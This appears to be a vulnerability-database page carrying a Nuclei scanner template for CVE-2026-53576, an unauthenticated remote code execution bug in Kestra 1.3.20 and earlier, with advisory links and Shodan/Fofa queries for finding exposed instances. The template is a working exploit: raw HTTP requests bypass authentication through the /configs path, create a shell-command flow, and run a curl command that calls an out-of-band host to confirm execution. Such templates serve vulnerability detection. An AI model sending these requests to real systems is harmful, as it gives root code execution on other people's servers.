Kestra <= 1.3.20 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Exploit for CVE-2026-49869 | 30 Jun 202614:13 | – | githubexploit | |
| Exploit for Authentication Bypass Using an Alternate Path or Channel in Kestra | 1 Aug 202608:25 | – | githubexploit | |
| CVE-2026-53576 | 26 Jun 202620:54 | – | attackerkb | |
| CVE-2026-53576 | 26 Jun 202622:11 | – | circl | |
| CVE-2026-53576 | 26 Jun 202620:54 | – | cve | |
| CVE-2026-53576 Kestra: Unauthenticated RCE via /configs path-suffix auth-filter bypass | 26 Jun 202620:54 | – | cvelist | |
| EUVD-2026-39919 | 26 Jun 202620:54 | – | euvd | |
| CVE-2026-53576 | 26 Jun 202622:16 | – | nvd | |
| PT-2026-52984 | 26 Jun 202600:00 | – | ptsecurity | |
| CVE-2026-53576 Kestra: Unauthenticated RCE via /configs path-suffix auth-filter bypass | 26 Jun 202620:54 | – | vulnrichment |
10
id: CVE-2026-53576
info:
name: Kestra <= 1.3.20 - Remote Code Execution
author: 0x_Akoko,pdteam,aryu-ru
severity: critical
description: |
Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.
impact: |
Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.
remediation: |
Update to versions 1.0.45 or 1.3.21 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-53576
- https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-53576
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: kestra
product: kestra
shodan-query: title:"Kestra"
fofa-query: title="Kestra"
tags: cve,cve2026,kestra,rce,oast,intrusive
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "KESTRA", "<title>Kestra")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/flows/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-yaml
id: configs
namespace: configs
tasks:
- id: pwn
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- curl -m 5 -s http://{{interactsh-url}}/rce
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 409'
- 'contains(body, "configs")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/executions/configs/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----KestraBoundary
------KestraBoundary--
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
- 'status_code == 200 || status_code == 409'
condition: and
# digest: 4a0a00473045022100acc5e8e7c452ee802b671da63646f9b0d6c518389980add9402f906a604590ad02201c4a6a783f8e6462b6beb69105d431b8c64680a17e7a8d455d9d7e2bbdc2b14c:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Aug 2026 03:09Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.110
EPSS0.00592
SSVC